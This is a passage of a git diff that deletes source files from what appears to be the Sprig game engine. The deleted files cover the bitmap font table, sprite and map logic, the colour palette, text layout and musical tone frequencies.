0x68, 0x62, 0xFE, 0x00, // 45 - 0xFE, 0x62, 0x68, 0x78, 0x68, 0x60, 0xF0, 0x00, // 46 - 0x3C, 0x66, 0xC0, 0xC0, 0xCE, 0x66, 0x3C, 0x00, // 47 - 0xCC, 0xCC, 0xCC, 0xFC, 0xCC, 0xCC, 0xCC, 0x00, // 48 - 0x78, 0x30, 0x30, 0x30, 0x30, 0x30, 0x78, 0x00, // 49 - 0x1E, 0x0C, 0x0C, 0x0C, 0xCC, 0xCC, 0x78, 0x00, // 4A - 0xE6, 0x66, 0x6C, 0x70, 0x6C, 0x66, 0xE6, 0x00, // 4B - 0xF0, 0x60, 0x60, 0x60, 0x62, 0x66, 0xFE, 0x00, // 4C - 0xC6, 0xEE, 0xFE, 0xD6, 0xC6, 0xC6, 0xC6, 0x00, // 4D - 0xC6, 0xE6, 0xF6, 0xDE, 0xCE, 0xC6, 0xC6, 0x00, // 4E - 0x38, 0x6C, 0xC6, 0xC6, 0xC6, 0x6C, 0x38, 0x00, // 4F - 0xFC, 0x66, 0x66, 0x7C, 0x60, 0x60, 0xF0, 0x00, // 50 - 0x78, 0xCC, 0xCC, 0xCC, 0xDC, 0x78, 0x1C, 0x00, // 51 - 0xFC, 0x66, 0x66, 0x7C, 0x6C, 0x66, 0xE6, 0x00, // 52 - 0x7C, 0xC6, 0xF0, 0x3C, 0x0E, 0xC6, 0x7C, 0x00, // 53 - 0xFC, 0xB4, 0x30, 0x30, 0x30, 0x30, 0x78, 0x00, // 54 - 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x78, 0x00, // 55 - 0xCC, 0xCC, 0xCC, 0x78, 0x78, 0x30, 0x30, 0x00, // 56 - 0xC6, 0xC6, 0xC6, 0xD6, 0xFE, 0xEE, 0xC6, 0x00, // 57 - 0xC6, 0xC6, 0x6C, 0x38, 0x6C, 0xC6, 0xC6, 0x00, // 58 - 0xCC, 0xCC, 0xCC, 0x78, 0x30, 0x30, 0x78, 0x00, // 59 - 0xFE, 0xC6, 0x8C, 0x18, 0x32, 0x66, 0xFE, 0x00, // 5A - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // 5B - 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x18, 0x00, // 5C - 0x00, 0xFE, 0x06, 0x06, 0x00, 0x00, 0x00, 0x00, // 5D - 0x10, 0x38, 0x6C, 0xC6, 0x00, 0x00, 0x00, 0x00, // 5E - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, // 5F - 0x3C, 0x42, 0x99, 0xA1, 0xA1, 0x99, 0x42, 0x3C, // 60 - 0x00, 0x00, 0x78, 0x0C, 0x7C, 0xCC, 0x76, 0x00, // 61 - 0xE0, 0x60, 0x7C, 0x66, 0x66, 0x66, 0xDC, 0x00, // 62 - 0x00, 0x00, 0x78, 0xCC, 0xC0, 0xCC, 0x78, 0x00, // 63 - 0x1C, 0x0C, 0x7C, 0xCC, 0xCC, 0xCC, 0x76, 0x00, // 64 - 0x00, 0x00, 0x78, 0xCC, 0xFC, 0xC0, 0x78, 0x00, // 65 - 0x38, 0x6C, 0x60, 0xF0, 0x60, 0x60, 0xF0, 0x00, // 66 - 0x00, 0x00, 0x76, 0xCC, 0xCC, 0x7C, 0x0C, 0xF8, // 67 - 0xE0, 0x60, 0x6C, 0x76, 0x66, 0x66, 0xE6, 0x00, // 68 - 0x30, 0x00, 0x70, 0x30, 0x30, 0x30, 0xFC, 0x00, // 69 - 0x0C, 0x00, 0x1C, 0x0C, 0x0C, 0xCC, 0xCC, 0x78, // 6A - 0xE0, 0x60, 0x66, 0x6C, 0x78, 0x6C, 0xE6, 0x00, // 6B - 0x70, 0x30, 0x30, 0x30, 0x30, 0x30, 0xFC, 0x00, // 6C - 0x00, 0x00, 0xCC, 0xFE, 0xFE, 0xD6, 0xC6, 0x00, // 6D - 0x00, 0x00, 0xF8, 0xCC, 0xCC, 0xCC, 0xCC, 0x00, // 6E - 0x00, 0x00, 0x78, 0xCC, 0xCC, 0xCC, 0x78, 0x00, // 6F - 0x00, 0x00, 0xDC, 0x66, 0x66, 0x7C, 0x60, 0xF0, // 70 - 0x00, 0x00, 0x76, 0xCC, 0xCC, 0x7C, 0x0C, 0x1E, // 71 - 0x00, 0x00, 0xDC, 0x76, 0x66, 0x60, 0xF0, 0x00, // 72 - 0x00, 0x00, 0x7C, 0xC0, 0x78, 0x0C, 0xF8, 0x00, // 73 - 0x10, 0x30, 0x7C, 0x30, 0x30, 0x34, 0x18, 0x00, // 74 - 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0x76, 0x00, // 75 - 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0x78, 0x30, 0x00, // 76 - 0x00, 0x00, 0xC6, 0xD6, 0xFE, 0xFE, 0x6C, 0x00, // 77 - 0x00, 0x00, 0xC6, 0x6C, 0x38, 0x6C, 0xC6, 0x00, // 78 - 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0x7C, 0x0C, 0xF8, // 79 - 0x00, 0x00, 0xFC, 0x98, 0x30, 0x64, 0xFC, 0x00, // 7A - 0x6C, 0x00, 0x78, 0x0C, 0x7C, 0xCC, 0x76, 0x00, // 7B - 0xCC, 0x00, 0x78, 0xCC, 0xCC, 0xCC, 0x78, 0x00, // 7C - 0xCC, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0x76, 0x00, // 7D - 0x3C, 0x66, 0x66, 0x6C, 0x66, 0x66, 0x6C, 0xF0, // 7E - 0xFF, 0x81, 0x81, 0x81, 0x81, 0x81, 0x81, 0xFF, // 7F - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x7E, 0x00, // 80 - 0xFF, 0xFF, 0xDD, 0x8D, 0xDD, 0xC1, 0xFF, 0xFF, // 81 - 0xFF, 0xFF, 0xED, 0xCD, 0x81, 0xCD, 0xED, 0xFF, // 82 - 0x81, 0x7E, 0x46, 0x5A, 0x46, 0x5A, 0x46, 0x7E, // 83 - 0xAA, 0x00, 0xAA, 0x00, 0xAA, 0x00, 0xAA, 0x00, // 84 - 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, // 85 - 0x00, 0xFF, 0x00, 0xFF, 0x00, 0xFF, 0x00, 0xFF, // 86 - 0xFF, 0xFF, 0xC3, 0xBD, 0xBD, 0x81, 0xFF, 0xFF, // 87 - 0xFF, 0xEF, 0xCF, 0x81, 0xCF, 0xEF, 0xFF, 0xFF, // 88 - 0xFF, 0xF7, 0xF3, 0x81, 0xF3, 0xF7, 0xFF, 0xFF, // 89 - 0xFF, 0xEF, 0xEF, 0xEF, 0x83, 0xC7, 0xEF, 0xFF, // 8A - 0xF7, 0xE3, 0xC1, 0xF7, 0xF7, 0xF7, 0xF7, 0xFF, // 8B - 0xC7, 0xCF, 0xD7, 0xF7, 0xF7, 0xF7, 0xC1, 0xFF, // 8C - 0xFF, 0xFF, 0xED, 0xCD, 0x81, 0xCF, 0xEF, 0xFF, // 8D - 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, 0x55, 0xAA, // 8E - 0xC1, 0x83, 0x83, 0xC1, 0xC1, 0x83, 0x07, 0x07, // 8F - 0xC7, 0xCF, 0xD7, 0xFB, 0xFB, 0xFB, 0xFB, 0xFF, // 90 - 0x80, 0xF7, 0xE3, 0xD5, 0xF7, 0xF7, 0xF7, 0xFF, // 91 - 0xFF, 0xF7, 0xF7, 0xF7, 0xD5, 0xE3, 0xF7, 0x80, // 92 - 0x81, 0x7E, 0x62, 0x5E, 0x46, 0x7A, 0x7A, 0x46, // 93 - 0xFF, 0xC3, 0xBD, 0xA5, 0xA5, 0xBD, 0xC3, 0xFF, // 94 - 0x77, 0xBB, 0xDD, 0xEE, 0x77, 0xBB, 0xDD, 0xEE, // 95 - 0xFF, 0x80, 0xDD, 0x8D, 0xD8, 0xDD, 0x80, 0xFF, // 96 - 0xEE, 0xDD, 0xBB, 0x77, 0xEE, 0xDD, 0xBB, 0x77, // 97 - 0xFF, 0xFE, 0xF6, 0xF2, 0x80, 0xF2, 0xF6, 0xFE, // 98 - 0xFF, 0x6F, 0x4F, 0x01, 0x4F, 0x6F, 0xFF, 0xFF, // 99 - 0xFF, 0xF7, 0x83, 0xF9, 0x83, 0xF7, 0xFF, 0xFF, // 9A - 0x33, 0x33, 0xCC, 0xCC, 0x33, 0x33, 0xCC, 0xCC, // 9B - 0x81, 0x7E, 0x5E, 0x5E, 0x5E, 0x5E, 0x42, 0x7E, // 9C - 0x81, 0x7E, 0x46, 0x5A, 0x46, 0x5A, 0x5A, 0x7E, // 9D - 0x81, 0x7E, 0x66, 0x5E, 0x5E, 0x5E, 0x66, 0x7E, // 9E - 0xFF, 0xEF, 0xC1, 0x9F, 0xC1, 0xEF, 0xFF, 0xFF, // 9F - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // A0 - 0xCF, 0xCF, 0xCF, 0xCF, 0xCF, 0xFF, 0xCF, 0xFF, // A1 - 0x88, 0xCC, 0x99, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // A2 - 0xC9, 0xC9, 0x01, 0x93, 0x01, 0x27, 0x27, 0xFF, // A3 - 0xE7, 0xC1, 0x93, 0xC1, 0xE4, 0xE4, 0x81, 0xE7, // A4 - 0xFF, 0x39, 0x33, 0xE7, 0xCF, 0x99, 0x39, 0xFF, // A5 - 0xC7, 0x93, 0xC7, 0x89, 0x23, 0x33, 0x89, 0xFF, // A6 - 0xE3, 0xF3, 0xE7, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, // A7 - 0xE7, 0xCF, 0x9F, 0x9F, 0x9F, 0xCF, 0xE7, 0xFF, // A8 - 0x9F, 0xCF, 0xE7, 0xE7, 0xE7, 0xCF, 0x9F, 0xFF, // A9 - 0xFF, 0x99, 0xC3, 0x00, 0xC3, 0x99, 0xFF, 0xFF, // AA - 0xFF, 0xCF, 0xCF, 0x03, 0xCF, 0xCF, 0xFF, 0xFF, // AB - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE3, 0xF3, 0xE7, // AC - 0xFF, 0xFF, 0xFF, 0x01, 0xFF, 0xFF, 0xFF, 0xFF, // AD - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xCF, 0xCF, 0xFF, // AE - 0xF9, 0xF3, 0xE7, 0xCF, 0x9F, 0x3F, 0x7F, 0xFF, // AF - 0x83, 0x39, 0x31, 0x21, 0x09, 0x19, 0x83, 0xFF, // B0 - 0xCF, 0x8F, 0xCF, 0xCF, 0xCF, 0xCF, 0x03, 0xFF, // B1 - 0x87, 0x33, 0xF3, 0xC7, 0x9F, 0x33, 0x03, 0xFF, // B2 - 0x03, 0xE7, 0xCF, 0x87, 0xF3, 0x33, 0x87, 0xFF, // B3 - 0xE3, 0xC3, 0x93, 0x33, 0x01, 0xF3, 0xE1, 0xFF, // B4 - 0x03, 0x3F, 0x07, 0xF3, 0xF3, 0x33, 0x87, 0xFF, // B5 - 0xC7, 0x9F, 0x3F, 0x07, 0x33, 0x33, 0x87, 0xFF, // B6 - 0x03, 0x33, 0xF3, 0xE7, 0xCF, 0xCF, 0xCF, 0xFF, // B7 - 0x87, 0x33, 0x33, 0x87, 0x33, 0x33, 0x87, 0xFF, // B8 - 0x87, 0x33, 0x33, 0x83, 0xF3, 0xE7, 0x8F, 0xFF, // B9 - 0xFF, 0xFF, 0xCF, 0xCF, 0xFF, 0xCF, 0xCF, 0xFF, // BA - 0xFF, 0xFF, 0xCF, 0xCF, 0xFF, 0xCF, 0xCF, 0x9F, // BB - 0xE7, 0xCF, 0x9F, 0x3F, 0x9F, 0xCF, 0xE7, 0xFF, // BC - 0xFF, 0xFF, 0x03, 0xFF, 0x03, 0xFF, 0xFF, 0xFF, // BD - 0x9F, 0xCF, 0xE7, 0xF3, 0xE7, 0xCF, 0x9F, 0xFF, // BE - 0x87, 0x33, 0xF3, 0xE7, 0xCF, 0xFF, 0xCF, 0xFF, // BF - 0x83, 0x39, 0x21, 0x21, 0x21, 0x3F, 0x87, 0xFF, // C0 - 0xCF, 0x87, 0x33, 0x33, 0x03, 0x33, 0x33, 0xFF, // C1 - 0x03, 0x99, 0x99, 0x83, 0x99, 0x99, 0x03, 0xFF, // C2 - 0xC3, 0x99, 0x3F, 0x3F, 0x3F, 0x99, 0xC3, 0xFF, // C3 - 0x07, 0x93, 0x99, 0x99, 0x99, 0x93, 0x07, 0xFF, // C4 - 0x01, 0x9D, 0x97, 0x87, 0x97, 0x9D, 0x01, 0xFF, // C5 - 0x01, 0x9D, 0x97, 0x87, 0x97, 0x9F, 0x0F, 0xFF, // C6 - 0xC3, 0x99, 0x3F, 0x3F, 0x31, 0x99, 0xC3, 0xFF, // C7 - 0x33, 0x33, 0x33, 0x03, 0x33, 0x33, 0x33, 0xFF, // C8 - 0x87, 0xCF, 0xCF, 0xCF, 0xCF, 0xCF, 0x87, 0xFF, // C9 - 0xE1, 0xF3, 0xF3, 0xF3, 0x33, 0x33, 0x87, 0xFF, // CA - 0x19, 0x99, 0x93, 0x8F, 0x93, 0x99, 0x19, 0xFF, // CB - 0x0F, 0x9F, 0x9F, 0x9F, 0x9D, 0x99, 0x01, 0xFF, // CC - 0x39, 0x11, 0x01, 0x29, 0x39, 0x39, 0x39, 0xFF, // CD - 0x39, 0x19, 0x09, 0x21, 0x31, 0x39, 0x39, 0xFF, // CE - 0xC7, 0x93, 0x39, 0x39, 0x39, 0x93, 0xC7, 0xFF, // CF - 0x03, 0x99, 0x99, 0x83, 0x9F, 0x9F, 0x0F, 0xFF, // D0 - 0x87, 0x33, 0x33, 0x33, 0x23, 0x87, 0xE3, 0xFF, // D1 - 0x03, 0x99, 0x99, 0x83, 0x93, 0x99, 0x19, 0xFF, // D2 - 0x83, 0x39, 0x0F, 0xC3, 0xF1, 0x39, 0x83, 0xFF, // D3 - 0x03, 0x4B, 0xCF, 0xCF, 0xCF, 0xCF, 0x87, 0xFF, // D4 - 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x87, 0xFF, // D5 - 0x33, 0x33, 0x33, 0x87, 0x87, 0xCF, 0xCF, 0xFF, // D6 - 0x39, 0x39, 0x39, 0x29, 0x01, 0x11, 0x39, 0xFF, // D7 - 0x39, 0x39, 0x93, 0xC7, 0x93, 0x39, 0x39, 0xFF, // D8 - 0x33, 0x33, 0x33, 0x87, 0xCF, 0xCF, 0x87, 0xFF, // D9 - 0x01, 0x39, 0x73, 0xE7, 0xCD, 0x99, 0x01, 0xFF, // DA - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // DB - 0xE7, 0xE7, 0xE7, 0xE7, 0xE7, 0xE7, 0xE7, 0xFF, // DC - 0xFF, 0x01, 0xF9, 0xF9, 0xFF, 0xFF, 0xFF, 0xFF, // DD - 0xEF, 0xC7, 0x93, 0x39, 0xFF, 0xFF, 0xFF, 0xFF, // DE - 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, // DF - 0xC3, 0xBD, 0x66, 0x5E, 0x5E, 0x66, 0xBD, 0xC3, // E0 - 0xFF, 0xFF, 0x87, 0xF3, 0x83, 0x33, 0x89, 0xFF, // E1 - 0x1F, 0x9F, 0x83, 0x99, 0x99, 0x99, 0x23, 0xFF, // E2 - 0xFF, 0xFF, 0x87, 0x33, 0x3F, 0x33, 0x87, 0xFF, // E3 - 0xE3, 0xF3, 0x83, 0x33, 0x33, 0x33, 0x89, 0xFF, // E4 - 0xFF, 0xFF, 0x87, 0x33, 0x03, 0x3F, 0x87, 0xFF, // E5 - 0xC7, 0x93, 0x9F, 0x0F, 0x9F, 0x9F, 0x0F, 0xFF, // E6 - 0xFF, 0xFF, 0x89, 0x33, 0x33, 0x83, 0xF3, 0x07, // E7 - 0x1F, 0x9F, 0x93, 0x89, 0x99, 0x99, 0x19, 0xFF, // E8 - 0xCF, 0xFF, 0x8F, 0xCF, 0xCF, 0xCF, 0x03, 0xFF, // E9 - 0xF3, 0xFF, 0xE3, 0xF3, 0xF3, 0x33, 0x33, 0x87, // EA - 0x1F, 0x9F, 0x99, 0x93, 0x87, 0x93, 0x19, 0xFF, // EB - 0x8F, 0xCF, 0xCF, 0xCF, 0xCF, 0xCF, 0x03, 0xFF, // EC - 0xFF, 0xFF, 0x33, 0x01, 0x01, 0x29, 0x39, 0xFF, // ED - 0xFF, 0xFF, 0x07, 0x33, 0x33, 0x33, 0x33, 0xFF, // EE - 0xFF, 0xFF, 0x87, 0x33, 0x33, 0x33, 0x87, 0xFF, // EF - 0xFF, 0xFF, 0x23, 0x99, 0x99, 0x83, 0x9F, 0x0F, // F0 - 0xFF, 0xFF, 0x89, 0x33, 0x33, 0x83, 0xF3, 0xE1, // F1 - 0xFF, 0xFF, 0x23, 0x89, 0x99, 0x9F, 0x0F, 0xFF, // F2 - 0xFF, 0xFF, 0x83, 0x3F, 0x87, 0xF3, 0x07, 0xFF, // F3 - 0xEF, 0xCF, 0x83, 0xCF, 0xCF, 0xCB, 0xE7, 0xFF, // F4 - 0xFF, 0xFF, 0x33, 0x33, 0x33, 0x33, 0x89, 0xFF, // F5 - 0xFF, 0xFF, 0x33, 0x33, 0x33, 0x87, 0xCF, 0xFF, // F6 - 0xFF, 0xFF, 0x39, 0x29, 0x01, 0x01, 0x93, 0xFF, // F7 - 0xFF, 0xFF, 0x39, 0x93, 0xC7, 0x93, 0x39, 0xFF, // F8 - 0xFF, 0xFF, 0x33, 0x33, 0x33, 0x83, 0xF3, 0x07, // F9 - 0xFF, 0xFF, 0x03, 0x67, 0xCF, 0x9B, 0x03, 0xFF, // FA - 0x93, 0xFF, 0x87, 0xF3, 0x83, 0x33, 0x89, 0xFF, // FB - 0x33, 0xFF, 0x87, 0x33, 0x33, 0x33, 0x87, 0xFF, // FC - 0x33, 0xFF, 0x33, 0x33, 0x33, 0x33, 0x89, 0xFF, // FD - 0xC3, 0x99, 0x99, 0x93, 0x99, 0x99, 0x93, 0x0F, // FE - 0x00, 0x7E, 0x7E, 0x7E, 0x7E, 0x7E, 0x7E, 0x00, // FF -] \ No newline at end of file diff --git a/src/lib/engine/1-base/index.ts b/src/lib/engine/1-base/index.ts deleted file mode 100644 index 9dcb2df483..0000000000 --- a/src/lib/engine/1-base/index.ts +++ /dev/null @@ -1,302 +0,0 @@ -import { palette } from './palette' -import type { Text } from './text' - -// Tagged template literal factory go brrr -const _makeTag = (cb: (string: string) => T) => { - return (strings: string[], ...interps: string[]) => { - if (typeof strings === 'string') { - throw new Error('Tagged template literal must be used like name`text`, instead of name(`text`)') - } - const string = strings.reduce((p, c, i) => p + c + (interps[i] ?? ''), '') - return cb(string) - } -} - -export declare class SpriteType { - type: string - x: number - y: number - readonly dx: number - readonly dy: number - remove(): void -} - -export interface GameState { - legend: [string, string][] - texts: Text[] - dimensions: { - width: number - height: number - } - sprites: SpriteType[] - solids: string[] - pushable: Record - background: string | null -} - -export function baseEngine() { - const gameState: GameState = { - legend: [], - texts: [], - dimensions: { - width: 0, - height: 0, - }, - sprites: [], - solids: [], - pushable: {}, - background: null - } - - class Sprite implements SpriteType { - _type: string - _x: number - _y: number - dx: number - dy: number - - constructor(type: string, x: number, y: number) { - this._type = type - this._x = x - this._y = y - this.dx = 0 - this.dy = 0 - } - - set type(newType) { - const legendDict = Object.fromEntries(gameState.legend) - if (!(newType in legendDict)) throw new Error(`"${newType}" isn\'t in the legend.`) - this.remove() - addSprite(this._x, this._y, newType) - } - - get type() { - return this._type - } - - set x(newX) { - const dx = newX - this.x - if (_canMoveToPush(this, dx, 0)) this.dx = dx - } - - get x() { - return this._x - } - - set y(newY) { - const dy = newY - this.y - if (_canMoveToPush(this, 0, dy)) this.dy = dy - } - - get y() { - return this._y - } - - remove() { - gameState.sprites = gameState.sprites.filter(s => s !== this) - return this - } - } - - const _canMoveToPush = (sprite: Sprite, dx: number, dy: number): boolean => { - const { x, y, type } = sprite - const { width, height } = gameState.dimensions - const i = (x+dx)+(y+dy)*width - - const inBounds = (x+dx < width && x+dx >= 0 && y+dy < height && y+dy >= 0) - if (!inBounds) return false - - const grid = getGrid() - - const notSolid = !gameState.solids.includes(type) - const noMovement = dx === 0 && dy === 0 - const movingToEmpty = i < grid.length && grid[i]!.length === 0 - - if (notSolid || noMovement || movingToEmpty) { - sprite._x += dx - sprite._y += dy - return true - } - - let canMove = true - - const { pushable } = gameState - - grid[i]!.forEach(sprite => { - const isSolid = gameState.solids.includes(sprite.type) - const isPushable = (type in pushable) && pushable[type]!.includes(sprite.type) - - if (isSolid && !isPushable) - canMove = false - - if (isSolid && isPushable) { - canMove = canMove && _canMoveToPush(sprite as Sprite, dx, dy) - } - }) - - if (canMove) { - sprite._x += dx - sprite._y += dy - } - - return canMove - } - - const getGrid = (): SpriteType[][] => { - const { width, height } = gameState.dimensions - - const grid: SpriteType[][] = new Array(width*height).fill(0).map(_ => []) - gameState.sprites.forEach(s => { - const i = s.x+s.y*width - grid[i]!.push(s) - }) - - const legendIndex = (t: SpriteType) => gameState.legend.findIndex(l => l[0] == t.type) - for (const tile of grid) tile.sort((a, b) => legendIndex(a) - legendIndex(b)) - - return grid - } - - const _checkBounds = (x: number, y: number): void => { - const { width, height } = gameState.dimensions - if (x >= width || x < 0 || y < 0 || y >= height) throw new Error(`Sprite out of bounds.`) - } - - const _checkLegend = (type: string): void => { - if (!(type in Object.fromEntries(gameState.legend))) - throw new Error(`Unknown sprite type: ${type}`) - } - - const addSprite = (x: number, y: number, type: string): void => { - if (type === '.') return - - _checkBounds(x, y) - _checkLegend(type) - - const s = new Sprite(type, x, y) - gameState.sprites.push(s) - } - - const _allEqual = (arr: T[]): boolean => arr.every(val => val === arr[0]) - - const setMap = (string: string): void => { - if (!string) throw new Error('Tried to set empty map.') - - if (string.constructor == Object) throw new Error('setMap() takes a string, not a dict.') // https://stackoverflow.com/a/51285298 - if (Array.isArray(string)) throw new Error('It looks like you passed an array into setMap(). Did you mean to use something like setMap(levels[level]) instead of setMap(levels)?') - - const rows = string.trim().split("\n").map(x => x.trim()) - const rowLengths = rows.map(x => x.length) - const isRect = _allEqual(rowLengths) - if (!isRect) throw new Error('Level must be rectangular.') - const w = rows[0]?.length ?? 0 - const h = rows.length - gameState.dimensions.width = w - gameState.dimensions.height = h - - gameState.sprites = [] - - const nonSpace = string.split("").filter(x => x !== " " && x !== "\n") // \S regex was too slow - for (let i = 0; i < w*h; i++) { - const type = nonSpace[i]! - if (type === '.') continue - - const x = i%w - const y = Math.floor(i/w) - - addSprite(x, y, type) - } - } - - const clearTile = (x: number, y: number): void => { - gameState.sprites = gameState.sprites.filter(s => s.x !== x || s.y !== y) - } - - interface AddTextOptions { - x?: number - y?: number - color?: string - } - const addText = (str: string, opts: AddTextOptions = {}): void => { - const CHARS_MAX_X = 21 - const padLeft = Math.floor((CHARS_MAX_X - str.length)/2) - - if (Array.isArray(opts.color)) throw new Error('addText no longer takes an RGBA color. Please use a Sprig color instead with \"{ color: color`` }\"') - const [, rgba ] = palette.find(([key]) => key === opts.color) ?? palette.find(([key]) => key === 'L')! - - gameState.texts.push({ - x: opts.x ?? padLeft, - y: opts.y ?? 0, - color: rgba, - content: str - }) - } - - const clearText = (): void => { gameState.texts = [] } - - const getTile = (x: number, y: number): SpriteType[] => { - if (y < 0) return [] - if (x < 0) return [] - if (y >= gameState.dimensions.height) return [] - if (x >= gameState.dimensions.width) return [] - - return getGrid()[gameState.dimensions.width*y+x] ?? [] - } - - const _hasDuplicates = (array: T[]): boolean => (new Set(array)).size !== array.length - - const tilesWith = (...matchingTypes: string[]): SpriteType[][] => { - const { width, height } = gameState.dimensions - const tiles = [] - const grid = getGrid() - for (let x = 0; x < width; x++) { - for (let y = 0; y < height; y++) { - const tile = grid[width*y+x] || [] - const matchIndices = matchingTypes.map(type => { - return tile.map(s => s.type).indexOf(type) - }) - - if (!_hasDuplicates(matchIndices) && !matchIndices.includes(-1)) tiles.push(tile) - } - } - return tiles - } - - const setSolids = (arr: string[]): void => { - if (!Array.isArray(arr)) throw new Error('The sprites passed into setSolids() need to be an array.') - gameState.solids = arr - } - const setPushables = (map: Record): void => { - for (const key in map) { - if(key.length != 1) { - throw new Error('Your sprite name must be wrapped in [] brackets here.'); - } - _checkLegend(key) - } - gameState.pushable = map - } - - const api = { - setMap, - addText, - clearText, - addSprite, - getGrid, - getTile, - tilesWith, - clearTile, - setSolids, - setPushables, - setBackground: (type: string) => { gameState.background = type }, - map: _makeTag(text => text), - bitmap: _makeTag(text => text), - color: _makeTag(text => text), - tune: _makeTag(text => text), - getFirst: (type: string): SpriteType | undefined => gameState.sprites.find(t => t.type === type), // ** - getAll: (type: string): SpriteType[] => type ? gameState.sprites.filter(t => t.type === type) : gameState.sprites, // ** - width: () => gameState.dimensions.width, - height: () => gameState.dimensions.height - } - - return { api, state: gameState } -} diff --git a/src/lib/engine/1-base/palette.ts b/src/lib/engine/1-base/palette.ts deleted file mode 100644 index b143ce8f12..0000000000 --- a/src/lib/engine/1-base/palette.ts +++ /dev/null @@ -1,48 +0,0 @@ -export type Rgba = [number, number, number, number] -export type PaletteItem = [string, Rgba] - -export const palette: PaletteItem[] = [ - // Grey - ['0', [0, 0, 0, 255]], - ['L', [73, 80, 87, 255]], - ['1', [145, 151, 156, 255]], - ['2', [248, 249, 250, 255]], - - // Red - ['3', [235, 44, 71, 255]], - ['C', [139, 65, 46, 255]], - - // Blue - ['7', [25, 177, 248, 255]], - ['5', [19, 21, 224, 255]], - - // Yellow - ['6', [254, 230, 16, 255]], - ['F', [149, 140, 50, 255]], - - // Green - ['4', [45, 225, 62, 255]], - ['D', [29, 148, 16, 255]], - - // Pink and purple - ['8', [245, 109, 187, 255]], - ['H', [170, 58, 197, 255]], - - // Orange - ['9', [245, 113, 23, 255]], - - // Transparent - ['.', [0, 0, 0, 0]] -] -export const transparent = palette.at(-1)! - -export const hexToRgba = (hex: string): Rgba => { - const [ r, g, b, a ] = hex.match(/\w\w/g)?.map((x) => parseInt(x, 16)) ?? [] - return [ r!, g!, b!, a ?? 255 ] -} - -export const rgbaToHex = (rgba: Rgba): string => { - return '#' + rgba.map(n => n.toString(16).padStart(2, '0')).join('') -} - -export const transparentBgUrl = `data:image/svg+xml,%0A%3Csvg width='23' height='23' viewBox='0 0 8 8' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Crect width='8' height='8' fill='white'/%3E%3Cpath fill-rule='evenodd' clip-rule='evenodd' d='M0 0H4V4H0V0ZM4 4H8V8H4V4Z' fill='%23DCEFFC'/%3E%3C/svg%3E%0A` \ No newline at end of file diff --git a/src/lib/engine/1-base/text.ts b/src/lib/engine/1-base/text.ts deleted file mode 100644 index 4153b53843..0000000000 --- a/src/lib/engine/1-base/text.ts +++ /dev/null @@ -1,34 +0,0 @@ -import type { Rgba } from './palette' - -export interface Text { - x: number - y: number - color: Rgba - content: string -} - -export function composeText(texts: Text[]): { char: string, color: Rgba }[][] { - const emptyCell = () => ({ char: ' ', color: [0, 0, 0, 0] as Rgba }) - const range = (length: number, fn: () => T): T[] => Array.from({ length }, fn) - const gridFromSize = (w: number, h: number) => range(h, () => range(w, emptyCell)) - const CHARS_MAX_X = 20 - const CHARS_MAX_Y = 16 - - const grid = gridFromSize(CHARS_MAX_X, CHARS_MAX_Y) - - for (const { x: sx, y: sy, content, color } of texts) { - let y = sy - for (const line of content.split('\n')) { - let x = sx - for (const char of line.split('')) { - if (" !\"#%&\'()*+,./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ\\^_-`abcdefghijklmnopqrstuvwxyz|~¦§¨©¬®¯°±´¶·¸ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ÙÚÛÜÝÞßàáâãäåæçèéêëìíîïñòóôõö÷ùúûüýþÿĀāĂ㥹ĆćĊċČčĎĐđĒēĖėĘęĚěĞğĠġĦħĪīĮįİıŃńŇňŌōŒœŞşŨũŪūŮůŲųŴŵŶŷŸǍǎǏǐǑǒǓǔˆˇ˘˙˚˛˜˝ẀẁẂẃẄẅỲỳ†‡•…‰⁄™∂∅∏∑−√∞∫≈≠≤≥◊".indexOf(char) === -1) - throw new Error(`Character ${char} is not in the font. It will be rendered incorrectly.`) - if (x <= CHARS_MAX_X && y < CHARS_MAX_Y) - grid[y]![x++] = {color: color, char} - } - y++ - } - } - - return grid -} diff --git a/src/lib/engine/1-base/tune.ts b/src/lib/engine/1-base/tune.ts deleted file mode 100644 index c80136f6db..0000000000 --- a/src/lib/engine/1-base/tune.ts +++ /dev/null @@ -1,155 +0,0 @@ -export const tones: Record = { - 'B0': 31, - 'C1': 33, - 'C#1': 35, - 'D1': 37, - 'D#1': 39, - 'E1': 41, - 'F1': 44, - 'F#1': 46, - 'G1': 49, - 'G#1': 52, - 'A1': 55, - 'A#1': 58, - 'B1': 62, - 'C2': 65, - 'C#2': 69, - 'D2': 73, - 'D#2': 78, - 'E2': 82, - 'F2': 87, - 'F#2': 93, - 'G2': 98, - 'G#2': 104, - 'A2': 110, - 'A#2': 117, - 'B2': 123, - 'C3': 131, - 'C#3': 139, - 'D3': 147, - 'D#3': 156, - 'E3': 165, - 'F3': 175, - 'F#3': 185, - 'G3': 196, - 'G#3': 208, - 'A3': 220, - 'A#3': 233, - 'B3': 247, - 'C4': 262, - 'C#4': 277, - 'D4': 294, - 'D#4': 311, - 'E4': 330, - 'F4': 349, - 'F#4': 370, - 'G4': 392, - 'G#4': 415, - 'A4': 440, - 'A#4': 466, - 'B4': 494, - 'C5': 523, - 'C#5': 554, - 